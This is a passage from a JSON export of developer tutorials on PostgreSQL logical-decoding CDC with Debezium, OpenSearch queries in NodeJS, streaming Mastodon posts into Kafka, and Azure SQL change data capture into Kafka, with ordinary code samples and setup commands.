logical message that we just pushed, the form should be the following:\n\n```json\n{\"op\":\"m\",\"ts_ms\":1690804437953,\"source\":{\"version\":\"1.9.7.aiven\",\"connector\":\"postgresql\",\"name\":\"mydebmsg\",\"ts_ms\":1690804437778,\"snapshot\":\"false\",\"db\":\"defaultdb\",\"sequence\":\"[\\\"822085608\\\",\\\"822089728\\\"]\",\"schema\":\"\",\"table\":\"\",\"txId\":8651,\"lsn\":822089728,\"xmin\":null},\"message\":{\"prefix\":\"myprefix\",\"content\":\"eyJvcmRlcl9pZCI6IDYsICJvcmRlcl9saW5lcyI6IFt7InF1YW50aXR5IjogMiwgInVzZXJuYW1lIjogIldpbHRvcmQiLCAib3JkZXJfbGluZSI6IDI1LCAicHJvZHVjdF9uYW1lIjogImJsdWUtYmxhY2sgZHJlc3MiLCAicHJvZHVjdF9wcmljZSI6IDY1fSwgeyJxdWFudGl0eSI6IDMsICJ1c2VybmFtZSI6ICJXaWx0b3JkIiwgIm9yZGVyX2xpbmUiOiAyNiwgInByb2R1Y3RfbmFtZSI6ICJibHVlIHQtc2hpcnQiLCAicHJvZHVjdF9wcmljZSI6IDE1fV19\"}}\n```\n\nWhere:\n\n* `\"op\":\"m\"` defines that the event is a logical decoding message\n* `\"prefix\":\"myprefix\"` is the prefix we defined in the `pg_logical_emit_message` call\n* `content` contains the JSON document with the order details encoded based on the `binary.handling.mode` defined in the connector definition.\n\nIf we use a mix of kcat and jq to showcase the data included in the `message.content` part of the payload with:\n\n```curl\nkcat -b KAFKA_HOST:KAFKA_PORT \\\n -X security.protocol=SSL \\\n -X ssl.ca.location=ca.pem \\\n -X ssl.key.location=service.key \\\n -X ssl.certificate.location=service.crt \\\n -C -t mydebprefix.message -u | jq -r '.message.content | @base64d'\n```\n\nWe see the message in JSON format as:\n\n```json\n{\"order_id\": 6, \"order_lines\": [{\"quantity\": 2, \"username\": \"Wiltord\", \"order_line\": 11, \"product_name\": \"blue-black dress\", \"product_price\": 65}, {\"quantity\": 3, \"username\": \"Wiltord\", \"order_line\": 12, \"product_name\": \"blue t-shirt\", \"product_price\": 15}]}\n```\n\n## Conclusion\n\nDefining a change data capture system allows downstream technologies to make use of the information assets is useful only if we can provide a consistent view on top of the data. The outbox pattern allows us to join data spanning different tables and provide a consistent, up to date view of complex queries. \n\nPostgreSQL's logical decoding enables us to push such consistent view to Apache Kafka without having to write changes into an extra outbox table but rather by writing directly to the WAL log. \n\n## Further reading\n\n* [PostgreSQL Logical Decoding](https://www.postgresql.org/docs/current/logicaldecoding-explanation.html)\n* [PostgreSQL Logical Decoding use cases](https://www.infoq.com/articles/wonders-of-postgres-logical-decoding-messages/)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-10-17T11:49:19.168Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"c4ae7beec9b3","_ref":"e518505d-84ca-4d42-8c11-077ba192bf3e","_type":"tag"}],"publishedAt":"2023-10-31T11:00:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"White text on a blue background that reads: \"Consistent Change Data Capture across multiple tables with PostgreSQL® logical decoding, the outbox pattern and Debezium\". Aiven's logo is in the bottom left.","asset":{"_ref":"image-76fd50aa226e6df4b32105c7146f8c98401f9d23-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/cdc-multiple-postgresql-tables-logical-decoding"},"subtitle":"Follow along to implement the outbox pattern in PostgreSQL® and create a change data capture workflow that doesn't create duplicate data!","tags":[{"_key":"b2cb44db155a","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"fb73f51c7308","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"141e961a4bc6","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Consistent Change Data Capture across multiple tables with PostgreSQL® logical decoding, the outbox pattern and Debezium"} {"__i18n_lang":"en","_createdAt":"2023-08-07T07:29:02Z","_id":"73af0182-b983-4449-bc09-f160188e2f39","_rev":"3WjOeGHmodg5gDKvjT7isG","_type":"devArticle","_updatedAt":"2024-03-18T10:52:10Z","body":"OpenSearch is here to add a fully open source search engine to your application, and its NodeJS client is a quick way to start with it.\nTime to take those two for a spin!\n\nAnd what is a better dataset example than the one full of gourmet meals and cooking instructions? We'll be using a dataset from Epicurious with over 20,000 different recipes to search and aggregate the data. We'll look for most unexpected food combinations, find the least frequent items, create a date histogram, calculate moving average and do so many other things. We'll probably leave you very hungry, but also inspired!\n\nStarting with the basics of creating an OpenSearch cluster, we'll bring you step by step through a process of setting up your playground before we jump into writing search and aggregation queries.\n\n::banner[Join the online workshop where we follow this tutorial. Learn how OpenSearch works and get equipped with practical knowledge to search, aggregate and visualise your data.]{ctaText=\"Read more and register\" ctaLink=\"https://aiven.io/workshop/opensearch-with-javascript\" title=\"Workshop: Search and aggregations made easy with OpenSearch and NodeJS\" background=\"\" theme=\"dark\"}\n\n## Try different flavours of search queries\n\nAt the heart of OpenSearch lies a power to create flexible search queries for three main groups of requests: term-level, full-text and boolean. Term-level queries are handy when we need to find exact matches without additional analysis. Full-text queries allow a smarter search for matches in analysed text fields in order to return results sorted by relevance. And last, but not least, boolean queries are useful when combining multiple queries together. \n\nFor example, if you want to find a soup with tomatoes, garlic and dill, ``match`` function is handy:\n\n```javascript\n /**\n * Finding matches sorted by relevance.\n * run-func search match title 'Tomato-garlic soup with dill'\n */\n module.exports.match = (field, query) =\u003e {\n console.log(`Searching for ${query} in the field ${field}`);\n const body = {\n query: {\n match: {\n [field]: {\n query,\n },\n },\n },\n };\n client.search(\n {\n index: indexName,\n body,\n },\n logTitles\n );\n };\n\n```\n\nOr, maybe you want to take into account spelling mistakes which your users can accidentally make, then the ``fuzziness`` property is helpful:\n\n```javascript\n/**\n * Specifying fuzziness to account for typos and misspelling.\n * run-func search fuzzy title pinapple 2\n */\nmodule.exports.fuzzy = (field, value, fuzziness) =\u003e {\n console.log(\n `Search for ${value} in the ${field} with fuzziness set to ${fuzziness}`\n );\n const query = {\n query: {\n fuzzy: {\n [field]: {\n value,\n fuzziness,\n },\n },\n },\n };\n client.search(\n {\n index: indexName,\n body: query,\n },\n logTitles\n );\n};\n```\n\nIf we've intrigued you, find other examples of search queries for matching values, ranges, fuzzy phrases, combination of clauses and more in our article [How to write search queries with OpenSearch and NodeJS](https://aiven.io/docs/products/opensearch/howto/opensearch-and-nodejs).\n\n## Learn how to aggregate data\n\nIf you're familiar with search queries, then you're ready to embark on your next adventure and learn how to run aggregation requests and read the results. In particular, we'll look at three different aggregation types: metric, bucket and pipeline. \n\nMetric aggregation are helpful for such computations as finding minimum or maximum value, calculating an average or collecting statistics about field values. For example, this is how we can use metric aggregations to calculate percentile ranges:\n\n\n```javascript\n/**\n * Get metric aggregations for the field\n * Examples: avg, min, max, stats, extended_stats, percentiles, terms\n * run-func aggregate metric percentiles calories\n */\nmodule.exports.metric = (metric, field) =\u003e {\n const body = {\n aggs: {\n [`aggs-for-${field}`]: { // aggregation name, which you choose\n [metric]: { // one of the supported aggregation types\n field,\n },\n },\n },\n };\n client.search(\n {\n index,\n body,\n size: 0, // ignore `hits`\n },\n logAggs.bind(this, `aggs-for-${field}`) // callback to log the aggregation output\n );\n};\n```\n\nCan you guess how calories level ranges over our recipes? Follow the article and run ``run-func aggregate metric percentiles calories`` to see it. Spoiler alert - **Chocolate Plum Cake** is one of the most caloric dishes available (and perhaps one of the most delicious too!).\n\nEven though metric aggregations are great, we have another type of aggregation we can use: the bucket aggregation. It distributes documents over a set of buckets based on provided criteria. Bucket aggregations can be used for a variety of things, for example, we can use it to find the most rare items in our dataset, such as the least frequently used categories:\n\n```javascript\n/**\n * Group recipes into buckets to find the most rare items\n * `run-func aggregate rareTerms categories.keyword 3`\n */\nmodule.exports.rareTerms = (field, max) =\u003e {\n const body = {\n aggs: {\n [`rare-terms-aggs-for-${field}`]: {\n rare_terms: {\n field,\n max_doc_count: max, // get buckets that contain no more than max items\n },\n },\n },\n };\n client.search(\n {\n index,\n body,\n size: 0,\n },\n logAggs.bind(this, `rare-terms-aggs-for-${field}`)\n );\n};\n```\n\nIf you run the query you'll see some definitely unexpected results!\n\nAnd finally, the pipeline aggregations combine several aggregations to build more complex flows and calculate things like moving averages, cumulative sums and perform a variety of other mathematical calculations over the data in the documents. In particular we'll look at how to calculate a moving average of number of recipes added throughout the years.\n\nYou can find all these examples and many others in our article [Use Aggregations with OpenSearch and NodeJS](https://aiven.io/docs/products/opensearch/howto/opensearch-aggregations-and-nodejs).\n\n## Examples and other resources\n\n- Find the examples for search and aggregation queries mentioned in our articles in [the GitHub repository](https://github.com/Aiven-Labs/demo-open-search-node-js) \n- Continue to the tutorial to [learn how to query data](https://aiven.io/docs/products/opensearch/howto/opensearch-and-nodejs) \n- Continue to the tutorial to [learn how to write aggregation requests](https://aiven.io/docs/products/opensearch/howto/opensearch-aggregations-and-nodejs)\n- Check out our article where you can [learn how to use OpenSearch® to perform searches on semi-structured recipe data](https://aiven.io/developer/opensearch-dinner-party)\n- Check our other documentation resources for [Aiven for OpenSearch](https://aiven.io/docs/products/opensearch)\n\nAnd, finally, [sign up for a free trial](https://console.aiven.io/signup) to start using [Aiven for OpenSearch](https://aiven.io/opensearch) and follow us on [Twitter](https://twitter.com/aiven_io) to stay up-to-date with product and feature-related news.","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-14T07:28:58.224Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"internalTags":[{"_key":"43512ea60e81","_ref":"8fe00684-fc9b-413d-9f61-98889297feec","_type":"tag"}],"publishedAt":"2021-12-21T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Great search and aggregation features can make a big difference to your application. Read on to see how to use OpenSearch with your NodeJS.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-908467f7378d277d4de79a6d45573b78a10f8002-1567x844-png","_type":"reference"}},"metaTitle":"Start using OpenSearch® with NodeJS"},"slug":{"_type":"slug","current":"/developer/start-using-opensearch-with-nodejs"},"subtitle":"Great search and aggregation features can make a big difference to your application. Read on to see how to use OpenSearch® with your NodeJS.","tags":[{"_key":"2b882d3965e1","_ref":"17773fab-43cf-4f70-873a-8da1274cde0f","_type":"tag"},{"_key":"e0e9a56aba94","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"},{"_key":"08c634c2470c","_ref":"6e718308-0932-4545-b8c2-c9df3013ec4e","_type":"tag"}],"title":"Start using OpenSearch® with NodeJS"} {"__i18n_lang":"en","_createdAt":"2023-03-24T14:25:45Z","_id":"ffea7160-7674-43c1-83d8-8e04fe7e1672","_rev":"ZLvKaZvfbZlWBlGcpIqI1k","_type":"devArticle","_updatedAt":"2024-01-29T15:49:07Z","body":"[Mastodon](https://joinmastodon.org/) has been rising in popularity over recent months. If you're not yet familiar with this exotic online creature, Mastodon is an open-source social networking software for microblogging. Instead of being a single network, like Twitter, Mastodon is a federated platform that connects independent interconnected servers. This makes it a fully decentralised system. It relies on ActivityPub and uses the ActivityStreams 2.0 data format and JSON-LD. As for the functionality, it resembles closely Twitter - you can read the timeline, post messages and interact with other users. \n\nIf you just recently joined Mastodon and are still exploring it, you might find that the scrolling timeline has its limits to understand all that is happening there. Applying some engineering skills will give a better overview on the topics and discussions happening on the platform.\n\nSince Mastodon's timeline is nothing more than a collection of continuously coming events, the data feed is well-suited for Apache Kafka®. Adding Kafka connectors on top of that opens multiple possibilities to use data for aggregations and visualisations.\n\nContinue reading to learn how to bring data from Mastodon to Kafka using TypeScript and a couple of helpful libraries. \n\n\n## Prepare the Apache Kafka cluster\n\nTo bring the data from the Mastodon timeline to a topic in Apache Kafka, you'll need an Apache Kafka cluster and some code to stream the data there. For the former, you can use either your own cluster, or a managed version that runs in the cloud, such as [Aiven for Apache Kafka](https://aiven.io/kafka). If you don't have an Aiven account yet, [sign up for a free trial](https://console.aiven.io/signup/email) and [create your cluster](https://aiven.io/docs/products/kafka/getting-started.html), the setup only takes a few minutes.\n\nOnce your cluster is running, [add a topic](https://aiven.io/docs/products/kafka/howto/create-topic.html) with the name ``mastodon``. Alternatively, you can use any other name, just remember it, you'll need it a bit later.\n\nTo connect securely to the cluster we'll use SSL. Aiven already takes care of the configuration of the server, but you'll need to download three files for the client to establish the connection. Download these files from Aiven's console:\n\n![Screenshot of the Aiven for Apache Kafka page in Aiven's console showing where to take certificates and keys](https://cdn.sanity.io/images/sczeoy4w/production/96801373561b2a0c207b70d7ce2b0979fbedc896-1598x1170.png)\n\nYou will need these files later, so put them somewhere safe for now.\n\n## Working with the Mastodon API\n\nThe Mastodon API has excellent documentation that makes it straightforward to access the public data feeds. You'll need to have an access token to read the data stream and you can generate it once you're registered. Actually, just give it a try right now. Register for a Mastodon account, get the token and run the line below in your terminal to start retrieving a stream of data from ``mastodon.social``:\n\n```bash\ncurl https://streaming.mastodon.social/api/v1/streaming/public?access_token=your-token\n```\n\nAs a response you should see an endless flow of incoming events:\n\n![Running ``curl https://mastodon.social/api/v1/streaming/public`` in your terminal shows a response with event data](https://cdn.sanity.io/images/sczeoy4w/production/1d68795439e0a481c05fa4612c030890c5d0a18a-1972x600.png)\n\nParsing the response from the server manually is a monotonous and tedious operation. Rather than reinvent the wheel, you can use one of the [available libraries for Mastodon](https://docs.joinmastodon.org/client/libraries/). For this example we'll be using [masto.js](https://github.com/neet/masto.js).\n\n## Jump into the code\n\nTo give you an instant start to bring Mastodon data into an Apache Kafka cluster, clone [this repository](https://github.com/aiven/mastodon-to-kafka):\n\n```bash\ngit clone https://github.com/aiven/mastodon-to-kafka\n```\n\nOnce you have the contents of the repo locally, follow these steps:\n\n\n1. Create a folder `certificates/` and add the SSL certificates you downloaded earlier into this folder. We will need these to connect securely to Apache Kafka.\n2. Copy the file `.env.example` and rename to `.env`, this file will hold the environment variables.\n3. Set ``kafka.uri`` in `.env` to the address of your cluster. You can take it from the connection information of your Aiven for Apache Kafka service.\n4. Set ``mastodon.token`` in `.env` to your own token that you get from your Mastodon account.\n5. Run `npm install` to install all dependencies (if you don't have npm or NodeJS yet, follow [the installation instructions](https://docs.npmjs.com/downloading-and-installing-node-js-and-npm)).\n\nFinally, start by running ``npm run start`` and you should see a flow of delivery reports for every new message coming from the Mastodon public feed, that is defined in the code (in the next section you'll see how to change it to whichever Mastodon feed you like!).\n\n![Screenshot showing running code to send data to the Kafka topic](https://cdn.sanity.io/images/sczeoy4w/production/72f8119518d00dbdf8be9fce68609ce08e22738c-2000x1531.png)\n\n\u003e If things don't work first time, check for error messages printed in the terminal. They will help you navigate the problem. \n\nYou can verify that the data is flowing and see what messages you get by enabling Apache Kafka Rest API.\n\nIn the contextual menu for the topic, select **Apache Kafka REST**:\n![Screenshot showing Apache Kafka REST menu option for a topic](https://cdn.sanity.io/images/sczeoy4w/production/7f21c0c7e40bd260a079270a084bfba028e20177-2000x642.png)\n\nWe can step back to see exactly how the code works to send the data from Mastodon to Apache Kafka. This can be divided into two logical steps:\n\n1. Streaming messages from a public Mastodon timeline.\n2. Sending these messages to Apache Kafka.\n\nIn the sections below you can see these steps in detail.\n\n## Streaming messages from a public Mastodon timeline\n\nOpen the file `mastostream.ts`. It contains a small module to stream the Mastodon data. \n\nTo initialise the Mastodon client you need to call ``login()`` from the `masto.js` client library and provide the required configuration. As URL, [use your favourite Mastodon server](https://joinmastodon.org/servers). This is also the place to provide authentication information.\n\n```typescript\nconst masto = await login({\n url: 'https://mastodon.social/', // choose your favourite mastodon server\n accessToken: process.env[\"mastodon.token\"]\n});\n```\n\nWith the initialised Mastodon client you connect to the public stream API by calling the asynchronous function ``masto.stream.streamPublicTimeline()``.\n\n```typescript\nconst stream = await masto.stream.streamPublicTimeline();\n```\n\nFinally, you're ready to subscribe to the updates from the public stream provided by the API.\n\n```typescript\nstream.on('update', (status) =\u003e {\n console.log(status)\n // next - send status data to Apache Kafka topic\n});\n```\n\nNow time to put these building blocks together.\n\nFor the sake of encapsulation, you wouldn't want the ``mastostream`` module to know directly about the Apache Kafka producer. That's why when putting all the above ingredients together we provide the module ``mastostream`` with a more generic callback argument.\nThis callback function will return the Mastodon status message converted to a string, and the party that triggered the ``mastostream`` will receive the data and be able to act on it:\n\n```typescript\nexport default async (callback: (status: string) =\u003e void) =\u003e {\n try {\n const masto = await login({\n url: 'https://mastodon.social/',\n accessToken: process.env[\"mastodon.token\"]\n });\n\n // Connect to the streaming api\n const stream = await masto.stream.streamPublicTimeline();\n\n // Subscribe to updates\n stream.on('update', (status) =\u003e {\n try {\n callback(JSON.stringify(status));\n } catch (err) {\n console.log('Callback failed', err);\n }\n });\n } catch (err) {\n console.log(err)\n }\n};\n```\n\nThis is what you need to stream the data from Mastadon! Time to send these messages to an Apache Kafka topic.\n\n## Sending messages to Apache Kafka using `node-rdkafka`\n\nOpen `producer.ts` to see the code you need to send the data to an Apache Kafka topic. To work with Apache Kafka you can use one of the existing client libraries, there are several options available. This project uses `node-rdkafka`, which is a NodeJS wrapper for the Kafka C/C++ library. Check [its GitHub repository Readme](https://github.com/Blizzard/node-rdkafka) for installation steps.\n\nWith `node-rdkafka` you can create a producer to send data to the cluster. This is where you'll use the Apache Kafka configuration settings defined in `.env` earlier and the certificates that you downloaded to prepare to establish a secure connection. \n\n```typescript\n\n//create a producer\nconst producer = new Kafka.Producer({\n 'metadata.broker.list': process.env[\"kafka.uri\"],\n 'security.protocol': 'ssl',\n 'ssl.key.location': process.env[\"ssl.key.location\"],\n 'ssl.certificate.location': process.env[\"ssl.certificate.location\"],\n 'ssl.ca.location': process.env[\"ssl.ca.location\"],\n 'dr_cb': true\n});\n```\n\nThe producer will emit events when things happen, so to understand what is happening and to catch any errors, we subscribe to numerous events including delivery reports.\n\n```typescript\n\nproducer.on('event.log', function (log) {\n console.log(log);\n});\n\n//logging all errors\nproducer.on('event.error', function (err) {\n console.error(err);\n});\n\nproducer.on('connection.failure', function (err) {\n console.error(err);\n});\n\nproducer.on('delivery-report', function (err, report) {\n console.log('Message was delivered' + JSON.stringify(report));\n});\n\nproducer.on('disconnected', function (arg) {\n console.log('producer disconnected. ' + JSON.stringify(arg));\n});\n```\n\nOne last event, which is especially important to use, is called `on ready`. This is the moment where the producer is ready to dispatch a message to the topic. This method will rely on the callback provided by the ``mastostream`` module that we implemented in the previous section:\n\n```typescript\nproducer.on('ready', async () =\u003e {\n mastostream((status) =\u003e { \n producer.produce(\n 'mastodon', // topic to send the message to\n null, // partition, null for librdkafka default partitioner\n Buffer.from(status), // value\n null, // optional key\n Date.now() // optional timestamp\n );\n producer.flush(2000);\n }).catch((error) =\u003e {\n throw error;\n });\n});\n```\n\nYet, none of the above will work till you run the ``connect()`` method. With the snippet below, run your code and watch the data start to flow!\n\n```typescript\nproducer.connect({}, (err) =\u003e {\n if (err) {\n console.error(err);\n }\n});\n```\nThis method has an optional second parameter, which is a callback that you can use to be informed about any errors during the connection.\n\nWe've now seen all the code and examined how it all works together. By separating the concerns of collecting data from Mastodon, and passing it to Apache Kafka, we have a system that can also be adapted to handle different data sources as needed.\n\n## What's next\n\nWith the data being constantly collected in the topic you can now use it as an input for other tools and databases, such as OpenSearch®, ClickHouse® and PostgreSQL®. Apache Kafka® Connect connectors will help you bring the data into other systems with no code required. Learn more about [Apache Kafka and Kafka Connect](https://aiven.io/blog/what-is-apache-kafka#apache-kafka-connect) and check the full list of [sink connectors](https://aiven.io/docs/products/kafka/kafka-connect.html#sink-connectors) that are available in Aiven platform to see where you can bring the data for further storage and analysis.\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-03-31T13:25:41.323Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"ac378c80efe9","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2023-01-17T09:40:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-459c33298185f859bf504c1a167d126edff6d265-1567x844-jpg","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/mastodon-kafka-js"},"subtitle":"If you want to analyze Mastodon posts, getting them into Apache Kafka® is a sensible first step. Read on to find out how to do this with Typescript and NodeJS.","tags":[{"_key":"c487603b1e03","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"0a69ca564dfa","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"}],"title":"Stream Mastodon data to Apache Kafka® using NodeJS and TypeScript"} {"__i18n_lang":"en","_createdAt":"2023-12-04T09:50:39Z","_id":"deb97690-3922-4faf-aecf-a09dc1853092","_rev":"VeNKqGNmt13PzvGhqsSudg","_type":"devArticle","_updatedAt":"2024-01-29T15:48:52Z","body":"[Azure SQL](https://learn.microsoft.com/en-us/azure/azure-sql/azure-sql-iaas-vs-paas-what-is-overview?view=azuresql-vm) offers a SQL Server backend for applications on Microsoft Azure. This tutorial will showcase how to build a real-time change data capture process to track the changes happening in one (or more) Azure SQL tables and stream them into Apache Kafka®, where multiple consumers can receive the data with a minimal latency. \n\nWe'll use a single table containing book titles to demonstrate all the steps needed to setup the flow.\n\n## Create an Azure SQL instance\n\nThe first step in the journey is to create a SQL Server database in Azure SQL. To do this:\n\n* Navigate to the [Azure portal](https://portal.azure.com/)\n* Click on **Create new SQL Database**\n ![Azure all services view selecting SQL database](https://cdn.sanity.io/images/sczeoy4w/production/2955cb7bddd7ed9f3a9e2a93c4f197a45c8e7b10-1892x827.png)\n* Give the database a name\n* Create a new server, enable **SQL authentication** and define an admin login and password\n\n![SQL Authentication method connectivity method](https://cdn.sanity.io/images/sczeoy4w/production/e29065a9fa5c12af2310c37c1bfa354a6942501e-724x886.png)\n\n* In the **Networking** tab, select the **Public endpoint** as the *Connectivity method*\n\n\n* Click on **Create** to create the database\n\n![Database up and running](https://cdn.sanity.io/images/sczeoy4w/production/9036e602d6171abe572a129cce2532d4375462f5-1131x448.png)\n\nTo connect Apache Kafka the Azure SQL database you just created, you need to allow traffic from a [virtual network](https://aiven.io/docs/tools/terraform/howto/vnet-peering-azure) from specific IPs by adding Firewall rules. To do this:\n\n* Click on the main database server\n* Select the **Security \u003e Networking** option\n* Add **Firewall rules** to enable the traffic from/to certain IP addresses. We'll check how to retrieve the list of IPs that Apache Kafka is using in a later stage of the tutorial.\n\n\n\n## Populate the database\n\nOnce the Azure SQL database is up and running, it's time to insert some data. To do this, we need to:\n\n* Navigate to the database details\n* Click on **Show database connection strings**\n\n![Database connection string](https://cdn.sanity.io/images/sczeoy4w/production/f2af835dd229099bb87c33d37ad1c98b9103fc69-1704x346.png)\n\nWe're going to use `mssql-cli` to connect to the database. If you don't have it already can review the [installation instructions](https://learn.microsoft.com/en-us/sql/tools/mssql-cli?view=sql-server-ver16).\n\nWe can connect to the Azure SQL database with the following command in the terminal:\n\n\n```\nmssql-cli -S \"\u003cDATABASE_HOST\u003e,\u003cDATABASE_PORT\u003e\" -d \u003cDATABASE_NAME\u003e -U \u003cDATABASE_USERNAME\u003e\n```\n\nWhere:\n* `\u003cDATABASE_HOST\u003e` is the Azure SQL database host from the Azure console\n* `\u003cDATABASE_PORT\u003e` is the Azure SQL database port from the Azure console\n* `\u003cDATABASE_NAME\u003e` is the name of the database\n* `\u003cDATABASE_USERNAME\u003e` is the username created during the SQL authentication phase of the configuration\n\nOnce connected, we can [enable change data capture](https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sys-sp-cdc-enable-db-transact-sql?view=sql-server-ver16) at database level. The below command starts the creation of a set of new tables that logs all the changes in one or more target tables. We can enable CDC at database level with:\n\n```\nUSE mytest\nGO\nEXEC sys.sp_cdc_enable_db\nGO\n```\n\nWhere `mytest` is the name of the database. \nNext, we can create a table that we'll track later:\n\n```\nCREATE TABLE MY_BOOK(ID INT IDENTITY(1, 1) PRIMARY KEY, TITLE VARCHAR(300));\n```\n\nOnce the `MY_BOOK` table is created, enable change data capture on it with:\n\n```\nEXEC sys.sp_cdc_enable_table\n @source_schema=N'dbo',\n @source_name=N'MY_BOOK',\n @role_name = NULL,\n @supports_net_changes=1\nGO\n```\n\nWe can verify that the `MY_BOOK` table is being tracked by querying the system tables with:\n\n```\nSELECT \n s.name AS Schema_Name, \n tb.name AS Table_Name, \n tb.object_id, \n tb.type, \n tb.type_desc, \n tb.is_tracked_by_cdc\nFROM sys.tables tb\nINNER JOIN sys.schemas s on s.schema_id = tb.schema_id\nWHERE tb.is_tracked_by_cdc = 1\n```\n\nThe above query should show the `MY_BOOK` table with the `is_tracked_by_cdc` set to `1`, similar to the following:\n\n```\n+---------------+--------------+-------------+--------+-------------+---------------------+\n| Schema_Name | Table_Name | object_id | type | type_desc | is_tracked_by_cdc |\n|---------------+--------------+-------------+--------+-------------+---------------------|\n| dbo | MY_BOOK | 2099048 | U | USER_TABLE | 1 |\n+---------------+--------------+-------------+--------+-------------+---------------------+\n```\n\nOnce the tracking is started, we are ready to insert some rows related to interesting books:\n\n```\nINSERT INTO MY_BOOK(TITLE) VALUES \n ('HOW TO MAKE BREAD'),\n ('IS LIFE WITHOUT TOMATO POSSIBLE?'),\n ('HOW TO GET YOUNGER WITH PIZZA');\n```\n\nA query like `SELECT * FROM MY_BOOK` shows the three rows been stored in the table:\n\n```\n+------+----------------------------------+\n| ID | TITLE |\n|------+----------------------------------|\n| 1 | HOW TO MAKE BREAD |\n| 2 | IS LIFE WITHOUT TOMATO POSSIBLE? |\n| 3 | HOW TO GET YOUNGER WITH PIZZA |\n+------+----------------------------------+\n(3 rows affected)\n```\n\n\n## Create an Aiven for Apache Kafka® service with Kafka Connect enabled\n\nThe target of our change data capture pipeline will be an Apache Kafka topic. If you don't have an Apache Kafka cluster available, you can use Aiven for Apache Kafka®:\n\n* Sign up for an the [Aiven account](https://aiven.io/signup) and navigate to the [console](https://console.aiven.io)\n* Click on **Create service**\n* Select Apache Kafka®\n* Select the cloud and region where the service to deploy to. Selecting the same cloud region where your RDS database is located minimizes latency.\n* Access the Aiven for Apache Kafka service page and enable the following: \n * **Kafka Connect** to perform the change data capture\n * **REST API** to browse the data from the Aiven console\n * ``kafka.auto_create_topics_enable`` from the **Advanced configuration** section to automatically create topics based on the Kafka Connect configurations\n\n\n## Create a Change Data Capture process with the Debezium Connector\n\nOnce Apache Kafka is running, the next step is to setup the CDC pipeline. To do so we can head to the **Connectors** tab, select the **Debezium for SQL Server** connector and include the following configuration:\n\n```\n{\n \"name\": \"mysourcedebezium\",\n \"connector.class\": \"io.debezium.connector.sqlserver.SqlServerConnector\",\n \"database.server.name\": \"mydeb\",\n \"database.dbname\": \"\u003cDATABASE_NAME\u003e\",\n \"database.hostname\": \"\u003cDATABASE_HOST\u003e\",\n \"database.port\": \"\u003cDATABASE_PORT\u003e\",\n \"database.user\": \"\u003cDATABASE_USER\u003e\",\n \"database.password\": \"\u003cDATABASE_PASSWORD\u003e\",\n \"table.include.list\": \"dbo.MY_BOOK\",\n \"database.history.kafka.bootstrap.servers\": \"\u003cKAFKA_HOST\u003e:\u003cKAFKA_PORT\u003e\",\n \"database.history.kafka.topic\": \"history\",\n \"database.history.consumer.security.protocol\": \"SSL\",\n \"database.history.consumer.ssl.key.password\": \"password\",\n \"database.history.consumer.ssl.keystore.location\": \"/run/aiven/keys/public.keystore.p12\",\n \"database.history.consumer.ssl.keystore.password\": \"password\",\n \"database.history.consumer.ssl.keystore.type\": \"PKCS12\",\n \"database.history.consumer.ssl.truststore.location\": \"/run/aiven/keys/public.truststore.jks\",\n \"database.history.consumer.ssl.truststore.password\": \"password\",\n \"database.history.producer.security.protocol\": \"SSL\",\n \"database.history.producer.ssl.key.password\": \"password\",\n \"database.history.producer.ssl.keystore.location\": \"/run/aiven/keys/public.keystore.p12\",\n \"database.history.producer.ssl.keystore.password\": \"password\",\n \"database.history.producer.ssl.keystore.type\": \"PKCS12\",\n \"database.history.producer.ssl.truststore.location\": \"/run/aiven/keys/public.truststore.jks\",\n \"database.history.producer.ssl.truststore.password\": \"password\"\n}\n```\n\nWhere:\n\n* `database.hostname`, `database.port`, `database.password` are the Azure SQL connection parameters found in the Azure console\n* `database.server.name` is the prefix for the topic names in Apache Kafka\n* `database.history.kafka.bootstrap.servers` is the Apache Kafka hostname and port. If you're using Aiven, these are in the Aiven Console, under **Service \u003e Overview**.\n* `database.history.kafka.topic` is the topic that receives the definition of changes of data structures. This is useful when replicate the structures and data changes to a target SQL server database.\n* `table.include.list` lists the tables for which we want to enable CDC. In our case it's `dbo.MY_BOOK`.\n* All the `database.history.producer` parameters can be left unchanged since are pointing to internal truststores and keystores created in Aiven for Apache Kafka. If you're using a different Apache Kafka service, you might need to alter these.\n\nNote: You need to open the connectivity between the Azure SQL database and Apache Kafka. To do so, create a [virtual network](https://aiven.io/docs/tools/terraform/howto/vnet-peering-azure) or by add Apache Kafka's IPs in the Firewall rules. You can find the Kafka IPs with the following command using the [Aiven CLI](https://aiven.io/docs/tools/cli):\n\n```\navn service get \u003cAPACHE_KAFKA_SERVICE_NAME\u003e --json | jq '.connection_info.kafka'\n```\n\nApache Kafka IP addresses can change over time due to node replacement during maintenance windows or upgrades. If you're using Aiven and need fixed IP address for a service, read [how to define and manage static IP addresses](https://aiven.io/docs/platform/howto/static-ip-addresses).\n\n## Check the changes in Apache Kafka\n\nOnce the connector is up and running, we should see a topic named ``mydeb.dbo.MY_BOOK``, the concatenation of the ``database.server.name`` parameter and the RDS schema and table name. To do this, navigate to the Aiven console and:\n\n* Access the **Topics** tab\n* Click on the ``mydeb.dbo.MY_BOOK`` topic\n* Click on **Messages**\n* 